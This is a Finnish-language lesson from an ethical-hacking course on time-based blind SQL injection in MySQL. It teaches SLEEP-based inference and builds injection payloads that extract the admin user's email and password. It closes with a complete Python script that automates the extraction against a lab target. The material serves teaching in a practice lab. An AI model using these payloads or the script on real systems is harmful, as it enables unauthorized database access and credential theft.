SQL-Injektio

(MySQL) Aikapohjainen sokea SQL-Injektiotekniikka

Vaikea
45 min

Aikapohjainen injektiotekniikka

Tässä moduulissa tutustumme aikapohjaiseen sokeaan injektiotekniikkaan. Sen huono puoli on että se on hirvittävän hidas, ja hyvä puoli että tekniikkaa pystyy usein hyödyntämään silloin kun mikään muu tekniikka ei toimi.

Tarkoitus on siis HTTP-vastauksen aikaviiveellä päätellä, onko vastaus kysymykseen kyllä vai ei. Jos et tiedä mistä vastauksesta ja kysymyksestä on kyse, palaathan edelliseen moduuliin ja teet sen ensin.

SLEEP

MySQL pitää sisällään funktion nimeltä SLEEP joka tekee juuri sen mitä tarvitaan, eli jämähtää odottamaan X määräksi sekuntia. Esimerkiksi tämä kysely odottaisi viisi sekuntia:

SLEEP(5)

SLEEP on näppärä myös siitä, että sen voi tunkea melkein mihin tahansa väliin. Otetaan esimerkiksi teksti: voimme yhdistää suoraan tekstin perään SLEEP-komennon antamalla tekstin arvoksi jotain numeerista, ja sitten laittamalla tekstin perään putken (bittioperaatio OR), ja SLEEP-kutsun.

SELECT('0'|SLEEP(5)) -- nukkuisi 5 sekuntia

(Ei ole tärkeää tämän asian kannalta mitä "bittioperaatio OR" tarkoittaa, mutta tässä on uteliaille: https://fi.wikipedia.org/wiki/Bittioperaatio)

Kyllä vai ei

Voimme siis käyttää SLEEP-funktiota kyllä tai ei -vastauksen päättelyyn seuraavalla tavalla.

(SELECT IF(1=1,SLEEP(3),1/0))

Jos vastaus jumittaa 3 sekuntia, vastaus on kyllä (1=1). Muuten vastaus palautuu heti ja aiheuttaa virheen koska nollalla ei voi jakaa. Teemme tahallaan virheen, ettei sovellus turhaan täyty viesteistä.

Harjoitustehtävässä on yhteystietolomake, jossa voit harjoitella hyökkäystä. Kannattaa aloittaa sillä, että saat viiveen ylipäätään tapahtumaan:

INSERT INTO message (user_id, message) VALUES (82, '0'|sleep(5))-- ')

Sitten voit korvata pelkän sleep-kutsun alikyselyllä:

(SELECT IF(1=1,SLEEP(3),1/0))

Jolloin yrität saada sovellusta ajamaan suunnileen tämän näköistä SQL:ää.

INSERT INTO message (user_id, message) VALUES (82, '0'|(SELECT IF(1=1,SLEEP(3),1/0)))-- ')

Hyökkäykseen

Kun hyökkäyksen perusidea toimii, ja saat sovelluksen odottelemaan hetken kun 1=1 ja palautumaan heti kun 1=2, voit edetä täsmälleen samalla tavalla kuin edellisessäkin moduulissa.

0'|(SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(email,":",password) FROM user WHERE admin=True),1,1))>1,sleep(5),1/0)))--

Automaatio Pythonilla

Tässä on samanlainen skripti kuin viime moduulissakin, sillä erotuksella että HTTP-viesti on tietysti erilainen ja kyllä/ei-tunnistus tapahtuu nyt aikapohjaisesti. Aikapohjainen tunnistus ei ole ihan yhtä tarkka (esim. verkon viiveet), joten olemme lisänneet tuplatarkistuksen.

Sama juttu kuin viimeksi; voit käyttää skriptiä, mutta harjoittele ensin ensimmäisen kirjaimen selvitys manuaalisesti.

#!/usr/bin/env python3


import requests
import time


BASE_URL = 'https://www-your-instance-id.ha-target.com/message'
QUERY = 'SELECT CONCAT(email,":",password) FROM user WHERE admin=True'
SESSION_ID = 'your-session-id'
SLEEP_SECONDS = 2
CAUSE_DELAY = f"SLEEP({SLEEP_SECONDS})"
CAUSE_ERROR = '1/0'


def is_true(pos, operator, value):
    payload = f"0'|(SELECT IF(ASCII(SUBSTRING(({QUERY}),{pos},1)){operator}{value},{CAUSE_DELAY},{CAUSE_ERROR})))-- "
    res = requests.post(BASE_URL, data={
        'message': payload
    }, cookies={'session': SESSION_ID})
    result = res.elapsed.total_seconds() >= SLEEP_SECONDS

    print(f'[*] ASCII at pos {pos} {operator} {value}: {result}', flush=True)
    time.sleep(0.2)
    return result

pos = 1
result = ''
high = 128
low = 32

while True:
    try:
        mid = int((high + low)/2)
        if is_true(pos, '>', mid):
            low = mid
        else:
            high = mid
        
        if abs(high - low) <= 1:
            if is_true(pos, '=', high):
                result += chr(high)
            elif is_true(pos, '=', low):
                result += chr(low)
            else: # Error due to network delay etc, try pos again.
                high = 128
                low = 32
                continue

            pos += 1
            high = 128
            low = 32
            print('> %s' % result)
            if is_true(pos, '=', 0):
                break
        
    except KeyboardInterrupt:
        break

print('[+] Done. Result: %s' % result)

Vaikeneminen on myöntymisen merkki

Tässä labrassa pääset harjoittelemaan aikapohjaista sokeaa SQL-injektiotekniikkaa.

Tavoite

Kirjaudu admin-käyttäjänä.

Vihje

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.